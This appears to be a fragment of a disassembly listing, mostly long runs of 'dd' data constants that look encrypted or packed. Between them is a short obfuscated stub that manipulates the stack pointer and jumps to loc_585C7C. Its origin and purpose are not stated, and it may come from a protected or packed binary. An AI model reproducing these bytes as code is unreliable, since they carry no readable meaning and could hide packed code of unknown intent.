		dd 0CE6FDAD3h, 0D3F09273h, 62868CF0h, 892CEECh,	0F0FB9CAFh
		dd 0FD3317D3h, 3D212466h, 0D89DAC0Dh, 0D5BAD3F0h, 0F79D68BEh
		dd 0D8885BC4h, 0C74B53F0h, 0CCE943h, 8B070000h,	92AC9F18h
		dd 232753F0h, 6F0CDDD1h, 0F09273CEh, 688CF053h,	80FD0C53h
		dd 32F43172h, 0CB49DC6Ah, 85C43747h, 48070D88h,	24C34736h
		dd 0C3759022h, 55B1C9C4h, 99BD1931h, 9B7CC061h,	335E55E4h
		dd 8394676h, 4B36595h, 7AD125EDh, 78AEE5E3h, 9051D2E2h
		dd 2AB143C8h, 3D1868C3h, 428F94B1h, 1335EA28h, 98E79498h
		dd 0CDE1336Ah, 0F233483Ch, 4FCFDFFDh, 65FA1276h, 4C132863h
		dd 0CF4B433Ah, 0E7E67945h, 0BCCD92AAh, 0D24DC9C1h, 649C08B7h
		dd 1543CE37h, 0CD6AD9F1h, 5FDF267Eh, 903F91F5h,	0AF8EB179h
		dd 3D7AD548h, 5FDF260Eh, 3B738185h, 0D7ADDEAAh,	9C88D4ABh
		dd 7C4FC506h, 0F4ACBA33h, 3A513545h, 0A56F2623h, 618027EDh
		dd 6D99E01Bh, 66C7E032h, 49DB7451h, 0F18EBE82h,	2358DCCFh
		dd 7E8D2F5Ch, 2001F03h,	0B0D2898Bh, 1A9B0906h, 55EBB42Fh
		dd 98BCA0A4h, 8767C160h, 7F0C93A8h, 7CBF57E9h, 858F4EDEh
		dd 4E708FE6h, 3A4CDB5Fh, 16344B43h, 9E86F9Fh, 0EAA1A3E2h
		dd 0A3966D1h, 89142DF6h, 5CCB8F85h, 0E85B732Ah,	0FB397491h
		dd 1969h, 0F48B8700h, 28ACDCD9h, 1E6DDEEAh, 2B98B0EDh
		dd 0F092BF8Ah, 2C503453h, 67677CE6h, 497B0434h,	29253A52h
		dd 4015E6Eh, 0DFEE7189h, 0B6D5AAA2h, 8EBCC3FBh,	6D98E717h
		dd 46471830h, 681F2757h, 338Bh,	68243C89h, 239Fh, 68240489h
		dd 5EEh, 53241C89h, 25E2B951h, 0CB89061Bh, 5BD88959h, 241C8B54h
		dd 4C481h, 97680000h, 89000022h, 438F2404h, 241C8B08h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	eax, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_585C7C
; ---------------------------------------------------------------------------
		db 0C8h
		dd 8BD08FDDh, 635F0B1Fh, 0B8A9CF9Dh, 61B2AC7h, 0E0FFC503h
		dd 1E6BA5EAh, 4D2AA512h, 13B582ADh, 6BD06F4Fh, 599F4D8Bh
		dd 76BD867Ch, 2A2CFAD7h, 1D1CB3EDh, 5739FA1Ah, 6FBBD493h
		dd 2D1A2F3Dh, 71B30ADAh, 4427CE49h, 11B53440h, 387EE41Dh
		dd 4E013D4Dh, 1B65B5Bh,	7CBD3E54h, 6F24E257h, 5E8439E7h
		dd 4670F678h, 419810B1h, 0CCA923Eh, 4D9A291h, 3CD83C70h
		dd 18A9AF26h, 5A607F94h, 1AA89EEBh, 44633F25h, 0AE8h, 4A0D1500h
		dd 2499F961h, 0E8B73FD3h, 0Bh, 0DCB85B71h, 8393A0E9h, 80559CBDh
		dd 5F5A43DFh, 0C781DE8Bh, 6820h, 0EE9h,	84649400h, 890ACD5Bh
		dd 3A4A3C09h, 6896643Eh, 0
		dd 5820Fh, 81660000h, 5EF30AD9h, 37048BFCh, 0DCEABA66h
		dd 9249C081h, 81F84E56h, 830074E8h, 81CB8B59h, 84B5A0E8h
		dd 50DF8B55h, 8FD0B70Fh, 14E93704h, 0FF000000h,	5D0A1959h
		dd 76426778h, 4792F7D7h, 0B656270Bh, 5081C7AAh,	138B0Fh
		dd 0EE90000h, 55000000h, 0F7AA0652h, 9E39266Fh,	5756168Ch
		dd 0EE815A09h, 4A79BEC8h, 5E86060h, 0D0000000h,	16BD2DB2h
		dd 0C181665Bh, 0F61C6BAh, 18Dh,	8161F500h, 79BEC4C6h, 0A4F2814Ah
		dd 811BDF25h, 0FF98E8FEh, 14850FFFh, 0FC000000h, 28E9h
		dd 6CD38300h, 62C8BB46h, 10A1E834h, 0FD73FB3h, 383h, 0D78B6600h
		dd 0FFFF4CE9h, 0BEC817FFh, 562E4639h, 0D9F26C1Fh, 0BBE900h
		dd 5F310000h, 9CD76BB8h, 0C8C3CA45h, 0ABDAB6E1h, 0B395A7ACh
		dd 0A1F44592h, 0DA00B395h, 20A7ECABh, 6BB2915Dh, 2096B1F4h
		dd 9B552075h, 0BCF26BB7h, 0A19692A5h, 603A7594h, 329FB799h
		dd 0E9B599BDh, 92A59CB2h, 95ACA3F2h, 97B1EF76h,	0B4F94E00h
		dd 5C009FA5h, 4AF07B6Bh, 0D0008A92h, 0F545F352h, 79A3F653h
		dd 0F144D6D9h, 0F445E3AFh, 0D77D41h, 0BF9792B0h, 60FD756Bh
		dd 0F996BFCFh, 20B293BCh, 9B57207Dh, 9492ABF7h,	0E3B29EBDh
		dd 0E0CE9DBCh, 728F899Bh, 0A9FD8F9Dh, 0F66DB4EEh, 93BCE1B6h
		dd 97B3ED72h, 0F1B6D000h, 0F0A8CD43h, 0
		dd 9D744700h, 99E0E312h, 5Eh, 1529E900h, 7A680000h, 0E9061B2Fh
		dd 0FFF95348h, 1B306768h, 533EE906h, 3568FFF9h,	0E9061B31h
		dd 0FFF95334h, 1B329A68h, 532AE906h, 3368FFF9h,	0E9061B33h
		dd 0FFF95320h, 1B343E68h, 5316E906h, 0DC68FFF9h, 0E9061B34h
		dd 0FFF9530Ch, 1B357A68h, 5302E906h, 2968FFF9h,	0E9061B36h
		dd 0FFF952F8h, 1B376B68h, 52EEE906h, 6F68FFF9h,	0E9061B38h
		dd 0FFF952E4h, 1B39EE68h, 52DAE906h, 0DA68FFF9h, 0E9061B3Ah
		dd 0FFF952D0h, 1B3C0C68h, 52C6E906h, 6A68FFF9h,	0E9061B3Dh
		dd 0FFF952BCh, 1B3F5F68h, 52B2E906h, 4B68FFF9h,	0E9061B40h
		dd 0FFF952A8h, 0B87C2F5Fh, 0AB6F1E2Fh, 9094113Ch, 7E82F917h
		dd 6BAFE2E1h, 4746CCE0h, 2C59C64Ah, 1632AD71h, 0F608979Bh
		dd 0AB168387h, 0EBBC3F0Ah, 951FB455h, 6366567h,	0E2434779h
		dd 53F09257h, 8EBF68ECh, 476BEF1Fh, 5622C3C3h, 6336F825h
		dd 0E17849DCh, 1D65AFE2h, 497B0239h, 4DFC3952h,	0C655E482h
		dd 0B5F4B042h, 55E4828Ah, 0AB86ED68h, 3AF8B5D4h, 0A8988856h
		dd 3A7BD68Bh, 55E49A0Fh, 9AD762C3h, 0E86C55E4h,	8162B094h
		dd 28h,	0C61802Fh, 0F09290A3h, 0B2F1353h, 6CA7B7F0h, 543849DCh
		dd 9CBA8524h, 0BD5855E4h, 9AD60456h, 0E1E08BA8h, 0CC000000h
		dd 606AFD8Bh, 0AEA88ECFh, 72D6E6A3h, 0F517C44Eh, 0DAE97686h
		dd 34DC94A7h, 0D665C23Bh, 6D53F09Eh, 2DBA37E9h,	98BCF112h
		dd 33552A9Ah, 0E3C4378h, 37A8897h, 98AAB5F1h, 3A7BD6E5h
		dd 53F0660Fh, 0C6728084h, 0F063D287h, 17C8E53h,	0D66062FDh
		dd 0A4D4F8B5h, 0ACDFAD3Ch, 601D2A31h, 83072392h, 0D4B849DCh
		dd 0ABD13050h, 0DBFA1790h, 90D4FCAh, 0D35C6BF2h, 93BB619h
		dd 0C1789C92h, 0EE79BDA1h, 0D95DA2DFh, 0AB630346h, 12A56133h
		dd 0ED1D0000h, 0D0F16EB2h, 0C3CE59DDh, 0A7A542C6h, 90BF28ECh
		dd 0BE92191Dh, 8084F908h, 6FB3EAE7h, 55D9D4F0h,	41C5B8CAh
		dd 0F948D554h, 7A55EBBDh, 6867D7D9h, 46470635h,	15B0C157h
		dd 0D1EC8691h, 0F6089743h, 0C4B7C990h, 3A0950B4h, 0B953F0A8h
		dd 0A76DB1D5h, 27D9F48Bh, 0C3477726h, 806155DFh, 0C866C7F4h
		dd 949DC6Ch, 5A77F605h,	65AF2B23h, 9C65D859h, 434555E4h
		dd 1D2F3048h, 0FF015E6Eh, 0F81FB88Ch, 7CF43732h, 64625137h
		dd 10FF357Dh, 0B033F9F9h, 8D438BA8h, 69000000h,	6366567h
		dd 27574A79h, 0DA6ABCB4h, 0F1F32641h, 3FE1B223h, 2E3D53F0h
		dd 0FD92601Dh, 0D34CD0CBh, 5AC2FAB1h, 61CEFD8Bh, 49DCD7C5h
		dd 6E161A7Eh, 8BD2E99Fh, 0B0F3017Ch, 0CB320B77h, 3381C4Fh
		dd 0CC504D7Ch, 0B6793453h, 63030C3Ch, 0B8C6D444h, 11h
		dd 1E898D00h, 0F36CB0EDh, 0CE59DDD8h, 0A641C5C0h, 0A526EAA7h
		dd 890403B3h, 0B0ED1A85h, 0DCD7F36Ch, 0CEBDCF58h, 53DC2F4Ah
		dd 55EBA2E0h, 67ECD063h, 76F13568h, 1FD55954h, 6366567h
		dd 0B5EADF95h, 1EC271BEh, 0FD4153F0h, 34BF752Bh, 6C1F21FEh
		dd 99143FA8h, 4AEC1E61h, 22344439h, 7B63417h, 0EF385C94h
		dd 8387ABE2h, 0DE2FD99Dh, 0E21491AAh, 7B49DC14h, 0BEA2DBECh
		dd 0C45CEE4Fh, 48995C7Eh, 219C0F3Ch, 6E2AB584h,	314ACEAEh
		dd 6E2B45F4h, 0B87ADEAEh, 422ED53Dh, 40ED5EB4h,	50422FF1h
		dd 0D2EA0E72h, 0DEED9B6Ah, 2F77C263h, 888C5042h, 47FC398Ah
		dd 0C84A6DA6h, 16283744h, 204A367h, 3F14848Bh, 3CAC6564h
		dd 10EA6Eh, 7F325200h, 621B2CBBh, 8B06019Eh, 0B3EA1887h
		dd 0DCD1F06Fh, 49F9D358h, 24C3473Ah, 3DAA6E27h,	15929611h
		dd 1974B8F3h, 0A33605A2h, 64D55EBh, 0D6F48B82h,	848655DFh
		dd 7889F109h, 9CBEFF0Ch, 1549DC96h, 7495ED31h, 84AA0B00h
		dd 2D4FC893h, 0AD901129h, 4F5FD89Bh, 0C3696980h, 1391BC95h
		dd 48403D4Ch, 43A546CCh, 73000000h, 0E01B6180h,	0E3316C99h
		dd 2CD967C0h, 0EE5249DCh, 0ED1B62DDh, 0F00286B6h, 0B0742F5Bh
		dd 0E4DC54E9h, 0DBC89855h, 30B77E4Dh, 0D7E9A66Ch, 0CBC760A4h
		dd 48EAB8D0h, 0B9000010h, 0DEEEA3A2h, 0E49FAD7Ah, 0F48B242Eh
		dd 0A7692ED9h, 0E0FA27FCh, 97B3CCFCh, 823AF81Ch, 0B9E61563h
		dd 49DB6901h, 0EE7D8EF2h, 2E5DA1DCh, 0C7D96C56h, 0EE243F7Dh
		dd 6F9C0F31h, 83BBF210h, 49B10D07h, 0A0BFCCB8h,	7ADEEE9Fh
		dd 0CDAE0FB8h, 664FC09Eh, 7092E9E2h, 51720D3Dh,	84A82C5Ch
		dd 1C2E3D8Eh, 0BEFF6A61h, 5FC66C83h, 42F63C00h,	99143249h
		dd 702FE561h, 0AA38484Eh, 622D0954h, 1EC67574h,	0F95D5FC6h
		dd 1ED665C2h, 0E96D5FC6h, 0DA5BB6C5h, 5FC61E6Fh, 5030C546h
		dd 97EBBF4Ah, 0DD4561B3h, 0E243780Ch, 45EA253Ch, 5CDEEB72h
		dd 0FF5B732Ah, 0ED27A3DBh, 86EB195h, 0B85CE3DFh, 0F857240h
		dd 0CDFD0000h, 0B0D14ED2h, 0A3AE39FDh, 878522E6h, 709F080Ch
		dd 5E72F93Dh, 60A4D9E8h, 4FD3CAC7h, 35F9B4D0h, 21E598AAh
		dd 99A8F574h, 1A55EBA0h, 86B937F9h, 4153F092h, 34A7D4A0h
		dd 0B28A03Ch, 0BBD05489h, 0F0EFCF7Ah, 32C04453h, 0DB32A643h
		dd 0C6F55949h, 2E50878Eh, 0AD6766BEh, 42394B12h, 6B143249h
		dd 0EC35BDA0h, 0E92B4FD5h, 118CBE29h, 0EB16AFAh, 8B83FE0Dh
		dd 4F86190Fh, 0B7333C1h, 0EE7D8EFAh, 5053A1DCh,	0C7207BD7h
		dd 87888C4Fh, 62FEBB2Bh, 0ECC7D545h, 5400000Eh,	2AB57934h
		dd 7A06419h, 128D910Ch,	0EA75B9F4h, 0D962A6DBh,	4D404FF7h
		dd 74315EC9h, 601B37B0h, 8A01039Ch, 1790EB86h, 55EBA124h
		dd 679014BFh, 95063665h, 924EFD3Ah, 0B3C553F0h,	0FE241D87h
		dd 0F93B5F79h, 5E6D2022h, 0B24A806h, 59B611E5h,	0EA988E73h
		dd 0CDF93B03h, 0ED1D90B2h, 79C97692h, 47BFDA6Bh, 430486Ch
		dd 9E9EA4CBh, 0C675B22Dh, 5D53F0FEh, 3D543BF9h,	0DDE877E2h
		dd 2D2CA8A0h, 53F0FE1Eh, 3519237h, 32863657h, 0F624C44Eh
		dd 408594E5h, 0C7F948D5h, 167A53F0h, 8EF631Ch, 80490000h
		dd 47E01B61h, 49DB4F91h, 96D5E66Ah, 8B0F3F7Ah, 0B5C33E89h
		dd 0ECE92CC0h, 2EFD3708h, 1A29761Ch, 9955EBB3h,	5C403D4Eh
		dd 4D7C0338h, 56DC3850h, 880305A2h, 0B30E3170h,	38C955EBh
		dd 51CC3F4Ch, 0B38AB9E6h, 50955EBh, 0EBB375C4h,	9D8A8E55h
		dd 0FFFE346Fh, 4FC7B753h, 5DAF70D4h, 1B62FF50h,	0DE191A3h
		dd 29590000h, 1435B276h, 0FF0A9599h, 0E3E17E82h, 0CCFB64A8h
		dd 0EACE4DD1h, 0AC702D5Ch, 9B9F1633h, 8185000Ch, 65A9E4E6h
		dd 0C574B108h, 5E55EBA6h, 6567F335h, 0D6950636h, 44C0F8B5h
		dd 21F3AADBh, 1525586Ah, 753BA55h, 859488D9h, 838E5h, 86B93300h
		dd 4153F092h, 6A7D4A0h,	49DB4FEEh, 95D4E76Bh, 87F43873h
		dd 192BCDF8h, 0CA4E7E62h, 0C1719348h, 94A7CBC6h, 0CDFDB8D5h
		dd 88FBCB49h, 2422D4F1h, 0D1354569h, 0EE9A6B43h, 0BBFE50DDh
		dd 13774FC7h, 0FF43C40Ch, 7E4CBC62h, 0D43h, 0C108BBBh
		dd 0F73B7293h, 0DC205D68h, 0CA4E4543h, 0AF732E5Dh, 8BBA082Ch
		dd 78951216h, 626EF93Dh, 4244E327h, 57AAC74Bh, 0EBA67BD6h
		dd 515BF855h, 6366567h,	24544779h, 3644AB44h, 859488E8h
		dd 7A4F6h, 0FD8B2200h, 1FF20D59h, 5E56DC26h, 65C2F98Fh
		dd 49DB331Eh, 0AF1A3115h, 0C1F9B4D0h, 0FA128FBEh, 0E3B87A9Eh
		dd 1566AAE1h, 4E7E3B56h, 719348CAh, 9CA3023Ah, 5B55EB3Eh
		dd 60CDFE8Ah, 4FC73ACEh, 334A1167h, 0C2F2931Fh,	5F6F2A25h
		dd 1250D7FBh, 0EE62FF70h, 0CA5AC7Eh, 0ED1D0000h
		dd 0D0F16EB2h, 0C3CE59DDh, 0A7A542C6h, 90BF28ECh, 0BE92191Dh
		dd 8084F908h, 6FB3EAE7h, 55D9D4F0h, 41C5B8CAh, 0F948D554h
		dd 7A55EBA7h, 6567D7D9h, 47790636h, 0AB442454h,	7092E944h
		dd 0B55790CFh, 264AF013h, 23DE0CECh, 0FAF88595h, 8D000006h
		dd 0D8C28F7h, 414D0477h, 6ED02246h, 0F09289B9h,	0D1A74653h
		dd 86394FBAh, 0FA49D61Fh, 7953F064h, 0CA750315h, 0CB6F6EA4h
		dd 7C49DBAAh, 6A9CE318h, 4E70EF33h, 31EEA7A4h, 45759914h
		dd 0F3A7BD6h, 8455EC80h, 0AB3A7280h, 0F501AEDDh, 0E4FC07Bh
		dd 59D1050Ah, 0FB5362FEh, 0BF629h, 433E4E00h, 6E1F20BFh
		dd 97123DAAh, 0BFF61493h, 0A0DDEC7Bh, 4DF5DF5Ch, 20BF433Eh
		dd 39A66A23h, 118E920Dh, 1D78BCEFh, 0A43201AEh,	2B155EBh
		dd 2165679Eh, 0F092B584h, 9D586C53h, 0D2CE0B73h, 45769AFEh
		dd 73FE4DEAh, 0E37553F0h, 2298B1B3h, 0B57F63CCh, 59547609h
		dd 0C584F721h, 5BBFCFCAh, 0ACDB32D9h, 2D18119Ah, 0A9C2FEA9h
		dd 7D58185h, 978594A8h,	13Ah, 3665671Dh, 54477906h, 0CCA15127h
		dd 0F8FAA382h, 5E6E1D2Fh, 87838FAh, 3F7893F9h, 49DCEF73h
		dd 397890F4h, 55E40F06h, 0C01279E4h, 8BA9261Ah,	25A4h
		dd 61807000h, 0D747E01Bh, 2849DC6Ch, 0C1F9B4DFh, 88292145h
		dd 55E49CB5h, 11618857h, 8BA89ACBh, 0BAEBh, 0F48BC100h
		dd 27A3DBD2h, 910C3EEDh, 0AEE5E37Ah, 0CCF83A9Eh, 0E11994B3h
		dd 19316C9Eh, 0C5494446h, 0F04EC384h, 3E6D9F53h, 891681FAh
		dd 53F0BEBAh, 0E7DF5539h, 0DC597206h, 49DFDB20h, 87B2F36Eh
		dd 0B755E642h, 71D5E598h, 0B4E7391Dh, 61D50153h, 89E2060Ch
		dd 0E6DA1D2Ch, 37499655h, 0F3C2044h, 0D85C5170h, 0CA4D404Fh
		dd 69182DA0h, 0B4D2E058h, 0C00000Ah, 0E27D81FCh, 0FF68ACE1h
		dd 0CA55D9D4h, 0A23DC1BCh, 0A12AEEA3h, 9508078Fh, 0BCF91691h
		dd 0A8E3EF78h, 0D2C9FB64h, 5FD8234Eh, 55EBA5ECh, 67E82C67h
		dd 9AF13568h, 0BDCDC8C3h, 0B6852259h, 0CD53F092h, 0F214CB49h
		dd 67BD77BBh, 79063665h, 1AD05447h, 505h, 0C271BE29h, 653F092h
		dd 0F092AA99h, 51252953h, 17FA41Fh, 52948EEh, 0FD8B050Fh
		dd 0A3C1CE68h, 0CA07207h, 337C8FFDh, 49DC99E7h,	45E41478h
		dd 55E580FAh, 4496FD18h, 8BA99E96h, 356899E0h, 0F0738105h
		dd 24Ah, 928FB93Ch, 3C4353F0h, 215C6E10h, 8B89AD29h, 9B54D233h
		dd 8645AE67h, 6A23A9E0h, 0A6BD1B4h, 0F7AD5E6h, 0F0C093AEh
		dd 58DE1053h, 6F4A0BF0h, 36A76D91h, 49DB7F36h, 286365E4h
		dd 0CFA79213h, 583C55EBh, 91AAAEDAh, 41C5B8CAh,	0D1E9A4A6h
		dd 0DFEC9869h, 0C734245Eh, 0D6593D4Fh, 62FF0EB6h, 0B0CCDE4Eh
		dd 8000009h, 0E68185F8h, 0FB64A8E5h, 0D651D5D0h, 0AE39FDB8h
		dd 9D1EE29Fh, 81FC0BBBh, 0A8E5E27Dh, 0D4CFFB64h, 0C6B5D750h
		dd 4BD45742h, 55EBAAF8h, 67D4D87Bh, 0C7C2CD65h,	1F2F53B7h
		dd 3F4F3E40h, 0E4234A89h, 0CB67ABE2h, 85948D25h, 195B1h
		dd 0CA6BC600h, 0AC0F667Fh, 988290F4h, 84216567h, 53F092B5h
		dd 16264ACEh, 37443749h, 6E9F1928h, 59191B3Fh, 0DB76B722h
		dd 5853F093h, 67863EF4h, 2E8FFA11h, 53F09313h, 4566AC90h
		dd 3C7793EAh, 62CB87F6h, 4F3C49DCh, 0E48053EEh,	486CD055h
		dd 90BCC330h, 0AF9E1F15h, 4D55E480h, 0C16F6B82h, 0DD8BA89Ah
		dd 20h,	1B6180DBh, 6CD747E0h, 242849DCh, 9CAA9514h, 8D4855E4h
		dd 9AC61466h, 0EDD08BA8h, 0DC000000h, 6366567h,	9DAC4A79h
		dd 486CE8E0h, 661F2C33h, 3D4F10ACh, 65C23D4Eh, 53F092D6h
		dd 9B2BE96Dh, 0B0CBC2C4h, 9269D845h, 404153F0h,	0BCE7794Dh
		dd 1DEF1923h, 50001236h, 0F0653C09h, 0E060F053h, 8305433Ah
		dd 0D9942D4h, 641983CCh, 0DCCFF1AEh, 40F33CAFh,	0C353F0A2h
		dd 85FDB57Fh, 88FB1064h, 0F0A21C2Fh, 0E457D053h, 7F53F0A2h
		dd 51A3A71Bh, 0C737C956h, 0E47B49DFh, 3B9FAFE6h, 159289F9h
		dd 55E64626h, 6B2622BDh, 51282347h, 0EB97B36h, 12AF507Fh
		dd 62F3365h, 39A66A8Eh,	7A90970Ah, 6691808h, 8318496h
		dd 79890000h, 64650206h, 4F7AE529h, 3351CE52h, 1C2BB478h
		dd 3A1E9D61h, 0FC007D8Ch, 0EB2F6663h, 0D155507Ch, 0B5793456h
		dd 75C461D8h, 8E55EBABh, 68674345h, 0E4E0635h, 44C72518h
		dd 0CB541C16h, 0F43EC2B9h, 6366567h, 27233A95h,	92DE6D6Ch
		dd 79F753F0h, 0E0DCDABBh, 0DF55398Dh, 8B8FFE00h, 27451h
		dd 6180DF00h, 347E01Bh,	0B349DB4Ch, 2DE79EACh, 35A71D5h
		dd 1A7E8E05h, 320DAC18h, 0D055EBBCh, 4E9CDE35h,	688BAFBAh
		dd 212h, 928FB944h, 0B94853F0h,	337FB8D3h, 3449DB4Ch, 0E02D3B50h
		dd 935949FFh, 0A2B90A08h, 86DEEDA0h, 0A57ABD5Bh, 306B9930h
		dd 3952060Ch, 9DD261CEh, 0ED5155EBh, 949E1332h,	0A6D6C5C7h
		dd 9C193635h, 0B9CF1E96h, 66D12582h, 1D6A4FC7h,	45404BEBh
		dd 0EEFA3D21h, 8662FF5Ch, 7450416h, 8DBD0000h, 70910E12h
		dd 636EF93Dh, 4745E226h, 305FC84Ch, 1E32B97Dh, 20E499A8h
		dd 0F138A87h, 0F5397490h, 0E125586Ah, 59E835B4h, 0DA55EBA8h
		dd 0F48B77B9h, 8754DED7h, 99E61685h, 0D2043467h, 0D3F4EA5h
		dd 0F03E9A9Eh, 4E85948Ch, 0C95CEA36h, 7DB7F2ECh, 15D82h
		dd 65672E00h, 47790636h, 51B0D054h, 0DB97102Bh,	2C49DC63h
		dd 0AE911028h, 8E55E483h, 6AF50580h, 0F4AFDD5Bh, 2C5C40C4h
		dd 72B8DF78h, 7181E877h, 8BA899ABh, 3ACBh, 15800h, 809D878Dh
		dd 5871E961h, 11C33A42h, 81E7AC7h, 375B930Ah, 58B9B04h
		dd 40C449DCh, 9C19344Bh, 9A2AE86Ch, 0E4EA241Bh,	0F007C655h
		dd 0A9043CE2h, 0B85A8Bh, 8B560000h, 5C12FFFDh, 74BE3DEDh
		dd 0C6F6A5A7h, 9AE58AB9h, 922C8F14h, 34585570h,	6567F810h
		dd 57C7F4C4h, 8BAF79F8h, 0B4DAEC73h, 0F01DD86Bh, 0D3F75B53h
		dd 0EBA6A1B8h, 0F5BD77D3h, 0F09793B4h, 0E7D8F53h, 1D6B7A0Ah
		dd 0FEBF41EEh, 0D0B449DEh, 13A5A4BBh, 484544F6h, 8CB01424h
		dd 0BDF01F88h, 16C7787Ah, 0EAB81069h, 613h, 0DC205B6Bh
		dd 0C74B4243h, 0AC702D58h, 9A9E1533h, 7F83FE0Dh, 5B6AD8FCh
		dd 4845E226h, 325EC94Dh, 1234B377h, 87FA979Bh, 0EBAE2B26h
		dd 0A16BA855h, 0C0CE6867h, 0D946B5C5h, 53F0926Ah, 5D4165E9h
		dd 78335F2Eh, 27EDA0AFh, 0DBD2F473h, 188B9D57h,	0F092AC9Fh
		dd 67F8C53h, 4D3E92F6h,	0F09251E0h, 4A6ED253h, 0BAF113C8h
		dd 0D0CBFD82h, 15A7A4BBh, 581B9F4h, 8D0806E1h, 5F1B197Dh
		dd 388Dh, 65672B00h, 47790636h,	27582754h, 4400BC76h, 434584EBh
		dd 9263DE5Fh, 9CE053F0h, 0E3C4378h, 11E36797h, 0A65A2A61h
		dd 0FF869584h, 69611C2Ah, 0D94BC9EDh, 25h, 36656757h, 0B8D69506h
		dd 0F7BBCDFDh, 4AAA4E8h, 4845CFF3h, 53F0BCF6h, 0FC2F46E5h
		dd 0ED27626Dh, 8D910C3Eh, 36656747h, 66DF9506h,	0A2D7CF52h
		dd 0D130848Eh, 0F82590ABh, 53F0DB49h, 55296461h, 278023F1h
		dd 49DB059Fh, 401F2C10h, 1D98B43Eh, 0C14569EDh,	51692426h
		dd 5F6C18E9h, 0C0393DDEh, 3952364Fh, 5F6C2122h,	0C63063DEh
		dd 969CE05Fh, 79345615h, 0FB56D742h, 785FC630h,	215A1E14h
		dd 4575285Ah, 6595083Ah, 9837FDE1h, 9F073766h, 0A4013A4Eh
		dd 45EAE1FEh, 140C1377h, 6C5CE3A2h, 4B52EFCh, 0FD0D0000h
		dd 0E0E17E82h, 0D3FE69ADh, 0B7D552D6h, 0A0AF38FCh
		dd 8EA229EDh, 90940938h, 7F83FA17h, 65A9E4E0h, 51D5C8FAh
		dd 0E958C524h, 6A55EBAFh, 6567E729h, 5375F236h,	305C2358h
		dd 700FBF75h, 0EDA8A44Eh, 9CAEB1C9h, 7BFD5213h,	567A30A3h
		dd 74275926h, 0FB56D744h, 7853F0FDh, 30473014h,	106794EAh
		dd 0C12ECFF1h, 15248193h, 0AE53F02Fh, 0AB3874AAh, 9D39FDE1h
		dd 8594DC4Fh, 546Fh, 61804500h,	0F947E01Bh, 7249DC2Ch
		dd 1782FD0Eh, 0E4DCBB96h, 0DE543855h, 868A0501h, 0E4DC7AC7h
		dd 69242655h, 7897D6A5h, 1986F505h, 55E4DC2Ah, 7381A5A9h
		dd 0C6F5B0DCh, 73B32B8Eh, 0AB2F5F56h, 5C589D75h, 0EF65D6D6h
		dd 6C61DC44h, 63FD3796h, 3E3h, 0D9F48B89h, 87B956DCh, 699BE414h
		dd 7796EE32h, 58730A01h, 77A92D5Dh, 4DD08063h, 0A31C1677h
		dd 0DCC24802h, 0AEDDA149h, 2047F233h, 78DC55E4h, 94AB0ABAh
		dd 7655E420h, 0AC728097h, 0CA8BA93Ah, 2Dh, 1B6180E6h, 6CD747E0h
		dd 242849DCh, 9CAA9514h, 8D4855E4h, 9AC61466h, 4D08BA8h
		dd 65000001h, 5C57730Ah, 0E4902E1Dh, 53A1A555h,	0D7F48BE9h
		dd 51692425h, 5DB9D1F5h, 970638D7h, 9DAC0964h, 1653F092h
		dd 0DBD6F532h, 0F3126D59h, 0ABF78DBEh, 4E3F8800h, 1893BF68h
		dd 0B3D5AA1Ah, 4359680Ah, 0EE1D6037h, 536B8FB3h, 6E71FA0Ch
		dd 9D1032BCh, 3337E96Dh, 0AA6E92DAh, 4798AD1h, 9D2BCE12h
		dd 0E1338DE8h, 0F06323F4h, 3E6D9F53h, 0C9FA81FAh, 7F815ED4h
		dd 6584FC0Ch, 0ABA3DAECh, 0B7F00B2Fh, 49DC8FFBh, 0EC5FD84Bh
		dd 6755E58Fh, 6DD111E3h, 7C08D9A9h, 0E053DC4Fh,	6355E58Fh
		dd 0DAA151Fh, 4FCAD789h, 2B6665E2h, 7893B713h, 6BAFE2E1h
		dd 4FD0CDFCh, 6302B061h, 0C09DAF1Fh, 38000002h,	16919508h
		dd 0EB74B8F5h, 0C661A5E0h, 0DE49CDC8h, 0AD2EF2AFh, 910C3B8Bh
		dd 0B8F5128Dh, 0A4DFEB74h, 0D6C5C760h, 5BC42752h, 55EBADE8h
		dd 67E4286Bh, 0C1BCCE68h, 0BCCE59DDh, 5F6A0C3Ah, 8AAE2A22h
		dd 8050A266h, 47E01B61h, 49DC6CD7h, 0A7142428h,	9C58EB34h
		dd 77DB55E4h, 9C0D30BDh, 60EF55E4h, 9B23C909h, 0C8B38BA8h
		dd 79000000h, 6366567h,	27574A79h, 0F0972D86h, 0EF1A6153h
		dd 99AB60B2h, 7692E9E2h, 8D87033Bh, 75285AC5h, 780CDD45h
		dd 7328E243h, 0C78649DCh, 2040D2C9h, 0D5A3D85Ch, 0D4F3A556h
		dd 2F888313h, 55E4F61Ch, 4D61B397h, 0ACB3C8BCh,	70D4E4A1h
		dd 43A401A2h, 0F44FCB93h, 0E5E47B90h, 871FD45Ah, 0BBCD66EFh
		dd 0D74ADCC0h, 564D6603h, 645769Ah, 0CD858F0Ah,	0B97E3352h
		dd 6302F6D5h, 0D4AD7FEFh, 2C000001h, 29D611Ch, 1F888C01h
		dd 0EA75B9F4h, 0C25DA1DCh, 0C14ACEC3h, 752827EFh, 9C1936B1h
		dd 88030F98h, 0B2E91B84h, 7FB8036Eh, 55EBD2CCh,	67880C47h
		dd 76F13568h, 0B7225954h, 0F092DB76h, 3EF45853h, 497A017Ah
		dd 6754DE54h, 79063665h, 57D05447h, 0C5364635h,	0F20A8786h
		dd 0D9289C96h, 0B22D98B3h, 926BE647h, 64E853F0h, 0F092D665h
		dd 3EE96D53h, 0E1659510h, 90E8A213h, 3D0149DCh,	5855720Dh
		dd 7B325F20h, 91F81743h, 60B76689h, 0A86C1F21h,	484309D8h
		dd 5808EDDh, 128391F5h,	4FC8974Ch, 0F6898185h, 6B2622D4h
		dd 0BBD3F753h, 3471EC9Fh, 5FD89B05h, 9378BA9Eh,	2D5BAA7Ch
		dd 9CC9911Eh, 60A45F4h,	0D3636502h, 0EFD708B1h,	0D27905E2h
		dd 21109DAEh, 0A241CCC2h, 0FD82BADEh, 0D9A6D6D1h, 84DBF3AEh
		dd 56F20A83h, 678892F9h, 20226188h, 0FD0F5E6Dh,	181A7E8Eh
		dd 0B3D92858h, 0C0531F98h, 0B0945BE0h, 0C1C5C798h, 0A0C0D564h
